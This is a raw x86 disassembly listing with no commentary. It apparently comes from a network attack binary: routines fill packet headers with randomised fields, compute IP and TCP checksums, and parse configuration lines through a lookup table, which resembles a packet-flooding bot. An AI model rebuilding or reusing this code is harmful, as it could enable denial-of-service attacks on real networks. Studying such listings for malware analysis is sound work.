8049911: e8 3a 1a 00 00 call 0x804b350 | |
8049916: c7 43 34 00 00 00 00 movl $0x0,0x34(%ebx) | |
804991d: 89 43 30 mov %eax,0x30(%ebx) | |
8049920: c6 43 38 01 movb $0x1,0x38(%ebx) | |
8049924: c6 43 39 03 movb $0x3,0x39(%ebx) | |
8049928: c6 43 3a 03 movb $0x3,0x3a(%ebx) | |
804992c: c6 43 3b 06 movb $0x6,0x3b(%ebx) | |
8049930: 8b 5c 24 58 mov 0x58(%esp),%ebx | |
8049934: 43 inc %ebx | |
8049935: 89 5c 24 58 mov %ebx,0x58(%esp) | |
8049939: 39 dd cmp %ebx,%ebp | |
804993b: 0f 8f c5 fe ff ff jg 0x8049806 | |
8049941: 85 ed test %ebp,%ebp | |
8049943: 7e fe jle 0x8049943 | |
8049945: c7 44 24 58 00 00 00 movl $0x0,0x58(%esp) | |
804994c: 00 | |
804994d: 31 c0 xor %eax,%eax | |
804994f: 8b 54 24 04 mov 0x4(%esp),%edx | |
8049953: 8b 4c 24 74 mov 0x74(%esp),%ecx | |
8049957: 8b 34 82 mov (%edx,%eax,4),%esi | |
804995a: 8d 04 40 lea (%eax,%eax,2),%eax | |
804995d: 8d 04 c1 lea (%ecx,%eax,8),%eax | |
8049960: 8d 7e 14 lea 0x14(%esi),%edi | |
8049963: 80 78 14 1f cmpb $0x1f,0x14(%eax) | |
8049967: 0f 86 d1 00 00 00 jbe 0x8049a3e | |
804996d: 83 7c 24 40 ff cmpl $0xffffffff,0x40(%esp) | |
8049972: 0f 84 0b 01 00 00 je 0x8049a83 | |
8049978: 66 83 7c 24 36 ff cmpw $0xffff,0x36(%esp) | |
804997e: 0f 84 13 01 00 00 je 0x8049a97 | |
8049984: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp) | |
804998a: 0f 84 1c 01 00 00 je 0x8049aac | |
8049990: 66 83 7c 24 3c ff cmpw $0xffff,0x3c(%esp) | |
8049996: 0f 84 25 01 00 00 je 0x8049ac1 | |
804999c: 81 7c 24 14 ff ff 00 cmpl $0xffff,0x14(%esp) | |
80499a3: 00 | |
80499a4: 0f 84 2e 01 00 00 je 0x8049ad8 | |
80499aa: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp) | |
80499b1: 00 | |
80499b2: 0f 84 36 01 00 00 je 0x8049aee | |
80499b8: 80 7c 24 3f 00 cmpb $0x0,0x3f(%esp) | |
80499bd: 0f 85 3e 01 00 00 jne 0x8049b01 | |
80499c3: 66 c7 46 0a 00 00 movw $0x0,0xa(%esi) | |
80499c9: 51 push %ecx | |
80499ca: 51 push %ecx | |
80499cb: 6a 14 push $0x14 | |
80499cd: 56 push %esi | |
80499ce: e8 5d 01 00 00 call 0x8049b30 | |
80499d3: 66 89 46 0a mov %ax,0xa(%esi) | |
80499d7: 66 c7 47 10 00 00 movw $0x0,0x10(%edi) | |
80499dd: 6a 28 push $0x28 | |
80499df: 68 00 28 00 00 push $0x2800 | |
80499e4: 57 push %edi | |
80499e5: 56 push %esi | |
80499e6: e8 95 01 00 00 call 0x8049b80 | |
80499eb: 8b 8c 24 94 00 00 00 mov 0x94(%esp),%ecx | |
80499f2: 66 89 47 10 mov %ax,0x10(%edi) | |
80499f6: 8b 44 24 78 mov 0x78(%esp),%eax | |
80499fa: 66 8b 57 02 mov 0x2(%edi),%dx | |
80499fe: 83 c4 18 add $0x18,%esp | |
8049a01: 8d 04 40 lea (%eax,%eax,2),%eax | |
8049a04: c1 e0 03 shl $0x3,%eax | |
8049a07: 66 89 54 08 02 mov %dx,0x2(%eax,%ecx,1) | |
8049a0c: 01 c8 add %ecx,%eax | |
8049a0e: 6a 10 push $0x10 | |
8049a10: 50 push %eax | |
8049a11: 68 00 40 00 00 push $0x4000 | |
8049a16: 6a 3c push $0x3c | |
8049a18: 56 push %esi | |
8049a19: 8b 54 24 4c mov 0x4c(%esp),%edx | |
8049a1d: 52 push %edx | |
8049a1e: e8 7e 2d 00 00 call 0x804c7a1 | |
8049a23: 8b 44 24 78 mov 0x78(%esp),%eax | |
8049a27: 40 inc %eax | |
8049a28: 89 44 24 78 mov %eax,0x78(%esp) | |
8049a2c: 83 c4 20 add $0x20,%esp | |
8049a2f: 39 e8 cmp %ebp,%eax | |
8049a31: 0f 8c 18 ff ff ff jl 0x804994f | |
8049a37: 85 ed test %ebp,%ebp | |
8049a39: e9 05 ff ff ff jmp 0x8049943 | |
8049a3e: 8b 58 10 mov 0x10(%eax),%ebx | |
8049a41: e8 0a 19 00 00 call 0x804b350 | |
8049a46: 66 c1 cb 08 ror $0x8,%bx | |
8049a4a: c1 cb 10 ror $0x10,%ebx | |
8049a4d: 66 c1 cb 08 ror $0x8,%bx | |
8049a51: 8b 54 24 58 mov 0x58(%esp),%edx | |
8049a55: 8d 0c 52 lea (%edx,%edx,2),%ecx | |
8049a58: 8b 54 24 74 mov 0x74(%esp),%edx | |
8049a5c: 8a 4c ca 14 mov 0x14(%edx,%ecx,8),%cl | |
8049a60: 81 e1 ff 00 00 00 and $0xff,%ecx | |
8049a66: d3 e8 shr %cl,%eax | |
8049a68: 01 d8 add %ebx,%eax | |
8049a6a: 66 c1 c8 08 ror $0x8,%ax | |
8049a6e: c1 c8 10 ror $0x10,%eax | |
8049a71: 66 c1 c8 08 ror $0x8,%ax | |
8049a75: 83 7c 24 40 ff cmpl $0xffffffff,0x40(%esp) | |
8049a7a: 89 46 10 mov %eax,0x10(%esi) | |
8049a7d: 0f 85 f5 fe ff ff jne 0x8049978 | |
8049a83: e8 c8 18 00 00 call 0x804b350 | |
8049a88: 66 83 7c 24 36 ff cmpw $0xffff,0x36(%esp) | |
8049a8e: 89 46 0c mov %eax,0xc(%esi) | |
8049a91: 0f 85 ed fe ff ff jne 0x8049984 | |
8049a97: e8 b4 18 00 00 call 0x804b350 | |
8049a9c: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp) | |
8049aa2: 66 89 46 04 mov %ax,0x4(%esi) | |
8049aa6: 0f 85 e4 fe ff ff jne 0x8049990 | |
8049aac: e8 9f 18 00 00 call 0x804b350 | |
8049ab1: 66 83 7c 24 3c ff cmpw $0xffff,0x3c(%esp) | |
8049ab7: 66 89 46 14 mov %ax,0x14(%esi) | |
8049abb: 0f 85 db fe ff ff jne 0x804999c | |
8049ac1: e8 8a 18 00 00 call 0x804b350 | |
8049ac6: 81 7c 24 14 ff ff 00 cmpl $0xffff,0x14(%esp) | |
8049acd: 00 | |
8049ace: 66 89 47 02 mov %ax,0x2(%edi) | |
8049ad2: 0f 85 d2 fe ff ff jne 0x80499aa | |
8049ad8: e8 73 18 00 00 call 0x804b350 | |
8049add: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp) | |
8049ae4: 00 | |
8049ae5: 89 47 04 mov %eax,0x4(%edi) | |
8049ae8: 0f 85 ca fe ff ff jne 0x80499b8 | |
8049aee: e8 5d 18 00 00 call 0x804b350 | |
8049af3: 80 7c 24 3f 00 cmpb $0x0,0x3f(%esp) | |
8049af8: 89 47 08 mov %eax,0x8(%edi) | |
8049afb: 0f 84 c2 fe ff ff je 0x80499c3 | |
8049b01: e8 4a 18 00 00 call 0x804b350 | |
8049b06: 66 89 47 12 mov %ax,0x12(%edi) | |
8049b0a: e9 b4 fe ff ff jmp 0x80499c3 | |
8049b0f: 83 ec 0c sub $0xc,%esp | |
8049b12: 8b 7c 24 3c mov 0x3c(%esp),%edi | |
8049b16: 57 push %edi | |
8049b17: e8 b7 25 00 00 call 0x804c0d3 | |
8049b1c: 83 c4 10 add $0x10,%esp | |
8049b1f: 83 c4 5c add $0x5c,%esp | |
8049b22: 5b pop %ebx | |
8049b23: 5e pop %esi | |
8049b24: 5f pop %edi | |
8049b25: 5d pop %ebp | |
8049b26: c3 ret | |
8049b27: 90 nop | |
8049b28: 90 nop | |
8049b29: 90 nop | |
8049b2a: 90 nop | |
8049b2b: 90 nop | |
8049b2c: 90 nop | |
8049b2d: 90 nop | |
8049b2e: 90 nop | |
8049b2f: 90 nop | |
8049b30: 53 push %ebx | |
8049b31: 31 db xor %ebx,%ebx | |
8049b33: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
8049b37: 8b 54 24 08 mov 0x8(%esp),%edx | |
8049b3b: 83 f9 01 cmp $0x1,%ecx | |
8049b3e: 76 15 jbe 0x8049b55 | |
8049b40: 66 8b 02 mov (%edx),%ax | |
8049b43: 83 e9 02 sub $0x2,%ecx | |
8049b46: 25 ff ff 00 00 and $0xffff,%eax | |
8049b4b: 83 c2 02 add $0x2,%edx | |
8049b4e: 01 c3 add %eax,%ebx | |
8049b50: 83 f9 01 cmp $0x1,%ecx | |
8049b53: 77 eb ja 0x8049b40 | |
8049b55: 49 dec %ecx | |
8049b56: 75 05 jne 0x8049b5d | |
8049b58: 0f be 02 movsbl (%edx),%eax | |
8049b5b: 01 c3 add %eax,%ebx | |
8049b5d: 89 d8 mov %ebx,%eax | |
8049b5f: 0f b7 d3 movzwl %bx,%edx | |
8049b62: c1 e8 10 shr $0x10,%eax | |
8049b65: 5b pop %ebx | |
8049b66: 01 d0 add %edx,%eax | |
8049b68: 89 c2 mov %eax,%edx | |
8049b6a: c1 ea 10 shr $0x10,%edx | |
8049b6d: 01 d0 add %edx,%eax | |
8049b6f: 83 f0 ff xor $0xffffffff,%eax | |
8049b72: 25 ff ff 00 00 and $0xffff,%eax | |
8049b77: c3 ret | |
8049b78: 90 nop | |
8049b79: 90 nop | |
8049b7a: 90 nop | |
8049b7b: 90 nop | |
8049b7c: 90 nop | |
8049b7d: 90 nop | |
8049b7e: 90 nop | |
8049b7f: 90 nop | |
8049b80: 55 push %ebp | |
8049b81: 57 push %edi | |
8049b82: 56 push %esi | |
8049b83: 53 push %ebx | |
8049b84: 83 ec 04 sub $0x4,%esp | |
8049b87: 31 db xor %ebx,%ebx | |
8049b89: 8b 74 24 18 mov 0x18(%esp),%esi | |
8049b8d: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
8049b91: 8b 44 24 20 mov 0x20(%esp),%eax | |
8049b95: 8b 54 24 1c mov 0x1c(%esp),%edx | |
8049b99: 66 89 44 24 02 mov %ax,0x2(%esp) | |
8049b9e: 8b 7e 0c mov 0xc(%esi),%edi | |
8049ba1: 8b 6e 10 mov 0x10(%esi),%ebp | |
8049ba4: 83 f9 01 cmp $0x1,%ecx | |
8049ba7: 7e 1c jle 0x8049bc5 | |
8049ba9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi | |
8049bb0: 66 8b 02 mov (%edx),%ax | |
8049bb3: 83 e9 02 sub $0x2,%ecx | |
8049bb6: 25 ff ff 00 00 and $0xffff,%eax | |
8049bbb: 83 c2 02 add $0x2,%edx | |
8049bbe: 01 c3 add %eax,%ebx | |
8049bc0: 83 f9 01 cmp $0x1,%ecx | |
8049bc3: 7f eb jg 0x8049bb0 | |
8049bc5: 49 dec %ecx | |
8049bc6: 74 64 je 0x8049c2c | |
8049bc8: 89 e9 mov %ebp,%ecx | |
8049bca: 31 c0 xor %eax,%eax | |
8049bcc: c1 e9 10 shr $0x10,%ecx | |
8049bcf: 8a 46 09 mov 0x9(%esi),%al | |
8049bd2: 66 c1 c8 08 ror $0x8,%ax | |
8049bd6: 8d 0c 0b lea (%ebx,%ecx,1),%ecx | |
8049bd9: 25 ff ff 00 00 and $0xffff,%eax | |
8049bde: 01 c1 add %eax,%ecx | |
8049be0: 89 fa mov %edi,%edx | |
8049be2: 89 f8 mov %edi,%eax | |
8049be4: 81 e2 ff ff 00 00 and $0xffff,%edx | |
8049bea: c1 e8 10 shr $0x10,%eax | |
8049bed: 01 d0 add %edx,%eax | |
8049bef: 89 ea mov %ebp,%edx | |
8049bf1: 81 e2 ff ff 00 00 and $0xffff,%edx | |
8049bf7: 01 d0 add %edx,%eax | |
8049bf9: 66 8b 54 24 02 mov 0x2(%esp),%dx | |
8049bfe: 81 e2 ff ff 00 00 and $0xffff,%edx | |
8049c04: 01 d0 add %edx,%eax | |
8049c06: 8d 04 01 lea (%ecx,%eax,1),%eax | |
8049c09: 89 c2 mov %eax,%edx | |
8049c0b: c1 ea 10 shr $0x10,%edx | |
8049c0e: 74 0e je 0x8049c1e | |
8049c10: 25 ff ff 00 00 and $0xffff,%eax | |
8049c15: 01 d0 add %edx,%eax | |
8049c17: 89 c2 mov %eax,%edx | |
8049c19: c1 ea 10 shr $0x10,%edx | |
8049c1c: 75 f2 jne 0x8049c10 | |
8049c1e: 83 f0 ff xor $0xffffffff,%eax | |
8049c21: 5a pop %edx | |
8049c22: 25 ff ff 00 00 and $0xffff,%eax | |
8049c27: 5b pop %ebx | |
8049c28: 5e pop %esi | |
8049c29: 5f pop %edi | |
8049c2a: 5d pop %ebp | |
8049c2b: c3 ret | |
8049c2c: 31 c0 xor %eax,%eax | |
8049c2e: 8a 02 mov (%edx),%al | |
8049c30: 01 c3 add %eax,%ebx | |
8049c32: eb 94 jmp 0x8049bc8 | |
8049c34: 90 nop | |
8049c35: 90 nop | |
8049c36: 90 nop | |
8049c37: 90 nop | |
8049c38: 90 nop | |
8049c39: 90 nop | |
8049c3a: 90 nop | |
8049c3b: 90 nop | |
8049c3c: 90 nop | |
8049c3d: 90 nop | |
8049c3e: 90 nop | |
8049c3f: 90 nop | |
8049c40: 55 push %ebp | |
8049c41: 57 push %edi | |
8049c42: 56 push %esi | |
8049c43: 53 push %ebx | |
8049c44: 81 ec 3c 22 00 00 sub $0x223c,%esp | |
8049c4a: 8d bc 24 1b 20 00 00 lea 0x201b(%esp),%edi | |
8049c51: 8b 9c 24 50 22 00 00 mov 0x2250(%esp),%ebx | |
8049c58: c7 84 24 2c 22 00 00 movl $0x0,0x222c(%esp) | |
8049c5f: 00 00 00 00 | |
8049c63: c7 84 24 30 22 00 00 movl $0x0,0x2230(%esp) | |
8049c6a: 00 00 00 00 | |
8049c6e: c7 84 24 34 22 00 00 movl $0x0,0x2234(%esp) | |
8049c75: 00 00 00 00 | |
8049c79: c7 84 24 38 22 00 00 movl $0x0,0x2238(%esp) | |
8049c80: 00 00 00 00 | |
8049c84: 50 push %eax | |
8049c85: 68 01 02 00 00 push $0x201 | |
8049c8a: 6a 00 push $0x0 | |
8049c8c: 57 push %edi | |
8049c8d: e8 75 29 00 00 call 0x804c607 | |
8049c92: 83 c4 0c add $0xc,%esp | |
8049c95: 66 c1 cb 08 ror $0x8,%bx | |
8049c99: 68 00 10 00 00 push $0x1000 | |
8049c9e: 6a 00 push $0x0 | |
8049ca0: 8d 44 24 27 lea 0x27(%esp),%eax | |
8049ca4: 81 e3 ff ff 00 00 and $0xffff,%ebx | |
8049caa: 50 push %eax | |
8049cab: e8 57 29 00 00 call 0x804c607 | |
8049cb0: 83 c4 0c add $0xc,%esp | |
8049cb3: 68 00 10 00 00 push $0x1000 | |
8049cb8: 6a 00 push $0x0 | |
8049cba: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049cc1: 52 push %edx | |
8049cc2: e8 40 29 00 00 call 0x804c607 | |
8049cc7: 83 c4 0c add $0xc,%esp | |
8049cca: 8d 84 24 20 22 00 00 lea 0x2220(%esp),%eax | |
8049cd1: 50 push %eax | |
8049cd2: 6a 10 push $0x10 | |
8049cd4: 53 push %ebx | |
8049cd5: e8 96 22 00 00 call 0x804bf70 | |
8049cda: 5d pop %ebp | |
8049cdb: 8d 94 24 28 22 00 00 lea 0x2228(%esp),%edx | |
8049ce2: 52 push %edx | |
8049ce3: e8 18 1f 00 00 call 0x804bc00 | |
8049ce8: 83 c4 10 add $0x10,%esp | |
8049ceb: 83 f8 02 cmp $0x2,%eax | |
8049cee: 0f 84 44 05 00 00 je 0x804a238 | |
8049cf4: 83 ec 0c sub $0xc,%esp | |
8049cf7: 6a 0d push $0xd | |
8049cf9: e8 32 19 00 00 call 0x804b630 | |
8049cfe: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
8049d05: e8 26 19 00 00 call 0x804b630 | |
8049d0a: c7 04 24 0f 00 00 00 movl $0xf,(%esp) | |
8049d11: e8 1a 19 00 00 call 0x804b630 | |
8049d16: c7 04 24 11 00 00 00 movl $0x11,(%esp) | |
8049d1d: e8 0e 19 00 00 call 0x804b630 | |
8049d22: 5b pop %ebx | |
8049d23: 5e pop %esi | |
8049d24: 6a 00 push $0x0 | |
8049d26: 6a 11 push $0x11 | |
8049d28: e8 53 18 00 00 call 0x804b580 | |
8049d2d: 5a pop %edx | |
8049d2e: 59 pop %ecx | |
8049d2f: 31 db xor %ebx,%ebx | |
8049d31: 6a 00 push $0x0 | |
8049d33: 50 push %eax | |
8049d34: e8 ab 24 00 00 call 0x804c1e4 | |
8049d39: 83 c4 10 add $0x10,%esp | |
8049d3c: 89 c5 mov %eax,%ebp | |
8049d3e: 83 f8 ff cmp $0xffffffff,%eax | |
8049d41: 0f 84 8a 04 00 00 je 0x804a1d1 | |
8049d47: 50 push %eax | |
8049d48: 55 push %ebp | |
8049d49: 68 00 02 00 00 push $0x200 | |
8049d4e: 57 push %edi | |
8049d4f: e8 7c 20 00 00 call 0x804bdd0 | |
8049d54: 83 c4 10 add $0x10,%esp | |
8049d57: 85 c0 test %eax,%eax | |
8049d59: 0f 84 1f 01 00 00 je 0x8049e7e | |
8049d5f: 8a 84 24 1b 20 00 00 mov 0x201b(%esp),%al | |
8049d66: 84 c0 test %al,%al | |
8049d68: 0f 84 22 04 00 00 je 0x804a190 | |
8049d6e: 31 d2 xor %edx,%edx | |
8049d70: 3c 3a cmp $0x3a,%al | |
8049d72: 0f 84 18 04 00 00 je 0x804a190 | |
8049d78: 42 inc %edx | |
8049d79: 8a 04 3a mov (%edx,%edi,1),%al | |
8049d7c: 84 c0 test %al,%al | |
8049d7e: 74 c7 je 0x8049d47 | |
8049d80: 3c 3a cmp $0x3a,%al | |
8049d82: 75 f4 jne 0x8049d78 | |
8049d84: 84 c0 test %al,%al | |
8049d86: 74 bf je 0x8049d47 | |
8049d88: 8d 4a 02 lea 0x2(%edx),%ecx | |
8049d8b: 8a 84 0c 1b 20 00 00 mov 0x201b(%esp,%ecx,1),%al | |
8049d92: 84 c0 test %al,%al | |
8049d94: 0f 84 fd 03 00 00 je 0x804a197 | |
8049d9a: 3c 20 cmp $0x20,%al | |
8049d9c: 0f 84 f5 03 00 00 je 0x804a197 | |
8049da2: 8d 04 17 lea (%edi,%edx,1),%eax | |
8049da5: 8a 50 03 mov 0x3(%eax),%dl | |
8049da8: 40 inc %eax | |
8049da9: 84 d2 test %dl,%dl | |
8049dab: 74 05 je 0x8049db2 | |
8049dad: 80 fa 20 cmp $0x20,%dl | |
8049db0: 75 f3 jne 0x8049da5 | |
8049db2: 29 f8 sub %edi,%eax | |
8049db4: 8d 70 02 lea 0x2(%eax),%esi | |
8049db7: c6 84 34 1b 20 00 00 movb $0x0,0x201b(%esp,%esi,1) | |
8049dbe: 00 | |
8049dbf: 83 ec 0c sub $0xc,%esp | |
8049dc2: 8d 1c 0f lea (%edi,%ecx,1),%ebx | |
8049dc5: 53 push %ebx | |
8049dc6: e8 35 1e 00 00 call 0x804bc00 | |
8049dcb: 83 c4 0c add $0xc,%esp | |
8049dce: 8d 94 24 20 22 00 00 lea 0x2220(%esp),%edx | |
8049dd5: 52 push %edx | |
8049dd6: 50 push %eax | |
8049dd7: 53 push %ebx | |
8049dd8: e8 c3 20 00 00 call 0x804bea0 | |
8049ddd: 83 c4 10 add $0x10,%esp | |
8049de0: 40 inc %eax | |
8049de1: 0f 84 60 ff ff ff je 0x8049d47 | |
8049de7: 8d 4e 01 lea 0x1(%esi),%ecx | |
8049dea: 8d 14 37 lea (%edi,%esi,1),%edx | |
8049ded: 31 db xor %ebx,%ebx | |
8049def: 31 f6 xor %esi,%esi | |
8049df1: c6 44 24 0b 00 movb $0x0,0xb(%esp) | |
8049df6: 8a 42 02 mov 0x2(%edx),%al | |
8049df9: 41 inc %ecx | |
8049dfa: 84 c0 test %al,%al | |
8049dfc: 74 20 je 0x8049e1e | |
8049dfe: 3c 20 cmp $0x20,%al | |
8049e00: 0f 84 82 03 00 00 je 0x804a188 | |
8049e06: 3c 09 cmp $0x9,%al | |
8049e08: 0f 84 7a 03 00 00 je 0x804a188 | |
8049e0e: fe cb dec %bl | |
8049e10: 0f 84 5a 03 00 00 je 0x804a170 | |
8049e16: 31 db xor %ebx,%ebx | |
8049e18: 42 inc %edx | |
8049e19: 83 fe 06 cmp $0x6,%esi | |
8049e1c: 7e d8 jle 0x8049df6 | |
8049e1e: 89 ca mov %ecx,%edx | |
8049e20: 80 7c 24 0b 00 cmpb $0x0,0xb(%esp) | |
8049e25: 0f 84 1c ff ff ff je 0x8049d47 | |
8049e2b: 8a 84 0c 1b 20 00 00 mov 0x201b(%esp,%ecx,1),%al | |
8049e32: 84 c0 test %al,%al | |
8049e34: 74 15 je 0x8049e4b | |
8049e36: 3c 20 cmp $0x20,%al | |
8049e38: 74 11 je 0x8049e4b | |
8049e3a: 8d 04 0f lea (%edi,%ecx,1),%eax | |
8049e3d: 8a 58 01 mov 0x1(%eax),%bl | |
8049e40: 41 inc %ecx | |
8049e41: 40 inc %eax | |
8049e42: 84 db test %bl,%bl | |
8049e44: 74 05 je 0x8049e4b | |
8049e46: 80 fb 20 cmp $0x20,%bl | |
8049e49: 75 f2 jne 0x8049e3d | |
8049e4b: c6 84 0c 1b 20 00 00 movb $0x0,0x201b(%esp,%ecx,1) | |
8049e52: 00 | |
8049e53: 83 ec 0c sub $0xc,%esp | |
8049e56: 8d 1c 17 lea (%edi,%edx,1),%ebx | |
8049e59: 53 push %ebx | |
8049e5a: e8 a1 1d 00 00 call 0x804bc00 | |
8049e5f: 83 c4 10 add $0x10,%esp | |
8049e62: 83 f8 0f cmp $0xf,%eax | |
8049e65: 0f 8f dc fe ff ff jg 0x8049d47 | |
8049e6b: 50 push %eax | |
8049e6c: 50 push %eax | |
8049e6d: 53 push %ebx | |
8049e6e: 8d 84 24 38 22 00 00 lea 0x2238(%esp),%eax | |
8049e75: 50 push %eax | |
8049e76: e8 a5 1d 00 00 call 0x804bc20 | |
8049e7b: 83 c4 10 add $0x10,%esp | |
8049e7e: 83 ec 0c sub $0xc,%esp | |
8049e81: 55 push %ebp | |
8049e82: e8 4c 22 00 00 call 0x804c0d3 | |
8049e87: 58 pop %eax | |
8049e88: 8d 94 24 38 22 00 00 lea 0x2238(%esp),%edx | |
8049e8f: 52 push %edx | |
8049e90: e8 6b 1d 00 00 call 0x804bc00 | |
8049e95: 83 c4 10 add $0x10,%esp | |
8049e98: 85 c0 test %eax,%eax | |
8049e9a: 0f 84 fe 02 00 00 je 0x804a19e | |
8049ea0: 50 push %eax | |
8049ea1: 50 push %eax | |
8049ea2: 6a 00 push $0x0 | |
8049ea4: 6a 0d push $0xd | |
8049ea6: e8 d5 16 00 00 call 0x804b580 | |
8049eab: 31 db xor %ebx,%ebx | |
8049ead: 89 04 24 mov %eax,(%esp) | |
8049eb0: e8 8c 25 00 00 call 0x804c441 | |
8049eb5: 89 44 24 10 mov %eax,0x10(%esp) | |
8049eb9: 83 c4 10 add $0x10,%esp | |
8049ebc: 85 c0 test %eax,%eax | |
8049ebe: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) | |
8049ec5: 00 | |
8049ec6: 0f 84 2e 03 00 00 je 0x804a1fa | |
8049ecc: 83 ec 0c sub $0xc,%esp | |
8049ecf: 8b 5c 24 0c mov 0xc(%esp),%ebx | |
8049ed3: 53 push %ebx | |
8049ed4: e8 59 26 00 00 call 0x804c532 | |
8049ed9: 83 c4 10 add $0x10,%esp | |
8049edc: 85 c0 test %eax,%eax | |
8049ede: 0f 84 01 03 00 00 je 0x804a1e5 | |
8049ee4: 8b 4c 24 04 mov 0x4(%esp),%ecx | |
8049ee8: 85 c9 test %ecx,%ecx | |
8049eea: 0f 85 f5 02 00 00 jne 0x804a1e5 | |
8049ef0: 8d 78 0b lea 0xb(%eax),%edi | |
8049ef3: 8a 40 0b mov 0xb(%eax),%al | |
8049ef6: 83 e8 30 sub $0x30,%eax | |
8049ef9: 3c 09 cmp $0x9,%al | |
8049efb: 77 cf ja 0x8049ecc | |
8049efd: 50 push %eax | |
8049efe: 50 push %eax | |
8049eff: 6a 00 push $0x0 | |
8049f01: 6a 0d push $0xd | |
8049f03: e8 78 16 00 00 call 0x804b580 | |
8049f08: 5e pop %esi | |
8049f09: 5d pop %ebp | |
8049f0a: 50 push %eax | |
8049f0b: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
8049f12: 50 push %eax | |
8049f13: e8 08 1d 00 00 call 0x804bc20 | |
8049f18: 5b pop %ebx | |
8049f19: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049f20: 52 push %edx | |
8049f21: e8 da 1c 00 00 call 0x804bc00 | |
8049f26: 5a pop %edx | |
8049f27: 59 pop %ecx | |
8049f28: 57 push %edi | |
8049f29: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049f30: 8d 04 02 lea (%edx,%eax,1),%eax | |
8049f33: 50 push %eax | |
8049f34: e8 e7 1c 00 00 call 0x804bc20 | |
8049f39: 5d pop %ebp | |
8049f3a: 58 pop %eax | |
8049f3b: 6a 00 push $0x0 | |
8049f3d: 6a 0e push $0xe | |
8049f3f: e8 3c 16 00 00 call 0x804b580 | |
8049f44: 5e pop %esi | |
8049f45: 89 c3 mov %eax,%ebx | |
8049f47: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
8049f4e: 50 push %eax | |
8049f4f: e8 ac 1c 00 00 call 0x804bc00 | |
8049f54: 5a pop %edx | |
8049f55: 59 pop %ecx | |
8049f56: 53 push %ebx | |
8049f57: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049f5e: 8d 04 02 lea (%edx,%eax,1),%eax | |
8049f61: 50 push %eax | |
8049f62: e8 b9 1c 00 00 call 0x804bc20 | |
8049f67: 83 c4 0c add $0xc,%esp | |
8049f6a: 68 00 10 00 00 push $0x1000 | |
8049f6f: 8d 44 24 23 lea 0x23(%esp),%eax | |
8049f73: 50 push %eax | |
8049f74: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049f7b: 52 push %edx | |
8049f7c: e8 23 23 00 00 call 0x804c2a4 | |
8049f81: 83 c4 10 add $0x10,%esp | |
8049f84: 40 inc %eax | |
8049f85: 0f 84 41 ff ff ff je 0x8049ecc | |
8049f8b: 50 push %eax | |
8049f8c: 50 push %eax | |
8049f8d: 6a 00 push $0x0 | |
8049f8f: 6a 0d push $0xd | |
8049f91: e8 ea 15 00 00 call 0x804b580 | |
8049f96: 5e pop %esi | |
8049f97: 5d pop %ebp | |
8049f98: 50 push %eax | |
8049f99: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
8049fa0: 50 push %eax | |
8049fa1: e8 7a 1c 00 00 call 0x804bc20 | |
8049fa6: 5b pop %ebx | |
8049fa7: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049fae: 52 push %edx | |
8049faf: e8 4c 1c 00 00 call 0x804bc00 | |
8049fb4: 5a pop %edx | |
8049fb5: 59 pop %ecx | |
8049fb6: 57 push %edi | |
8049fb7: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049fbe: 8d 04 02 lea (%edx,%eax,1),%eax | |
8049fc1: 50 push %eax | |
8049fc2: e8 59 1c 00 00 call 0x804bc20 | |
8049fc7: 5d pop %ebp | |
8049fc8: 58 pop %eax | |
8049fc9: 6a 00 push $0x0 | |
8049fcb: 6a 0f push $0xf | |
8049fcd: e8 ae 15 00 00 call 0x804b580 | |
8049fd2: 5e pop %esi | |
8049fd3: 89 c3 mov %eax,%ebx | |
8049fd5: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
8049fdc: 50 push %eax | |
8049fdd: e8 1e 1c 00 00 call 0x804bc00 | |
8049fe2: 5a pop %edx | |
8049fe3: 59 pop %ecx | |
8049fe4: 53 push %ebx | |
8049fe5: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049fec: 8d 04 02 lea (%edx,%eax,1),%eax | |
8049fef: 50 push %eax | |
8049ff0: e8 2b 1c 00 00 call 0x804bc20 | |
8049ff5: 58 pop %eax | |
8049ff6: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
8049ffd: 50 push %eax | |
8049ffe: e8 3e 24 00 00 call 0x804c441 | |
804a003: 83 c4 10 add $0x10,%esp | |
804a006: 89 c5 mov %eax,%ebp | |
804a008: 85 c0 test %eax,%eax | |
804a00a: 0f 84 bc fe ff ff je 0x8049ecc | |
804a010: 83 ec 0c sub $0xc,%esp | |
804a013: 55 push %ebp | |
804a014: e8 19 25 00 00 call 0x804c532 | |
804a019: 83 c4 10 add $0x10,%esp | |
804a01c: 89 c6 mov %eax,%esi | |
804a01e: 85 c0 test %eax,%eax | |
804a020: 0f 84 4b 02 00 00 je 0x804a271 | |
804a026: 8b 44 24 04 mov 0x4(%esp),%eax | |
804a02a: 85 c0 test %eax,%eax | |
804a02c: 0f 85 3f 02 00 00 jne 0x804a271 | |
804a032: 50 push %eax | |
804a033: 50 push %eax | |
804a034: 68 00 10 00 00 push $0x1000 | |
804a039: 8d 54 24 27 lea 0x27(%esp),%edx | |
804a03d: 52 push %edx | |
804a03e: e8 4d 1c 00 00 call 0x804bc90 | |
804a043: 5b pop %ebx | |
804a044: 58 pop %eax | |
804a045: 6a 00 push $0x0 | |
804a047: 6a 0d push $0xd | |
804a049: e8 32 15 00 00 call 0x804b580 | |
804a04e: 5a pop %edx | |
804a04f: 59 pop %ecx | |
804a050: 50 push %eax | |
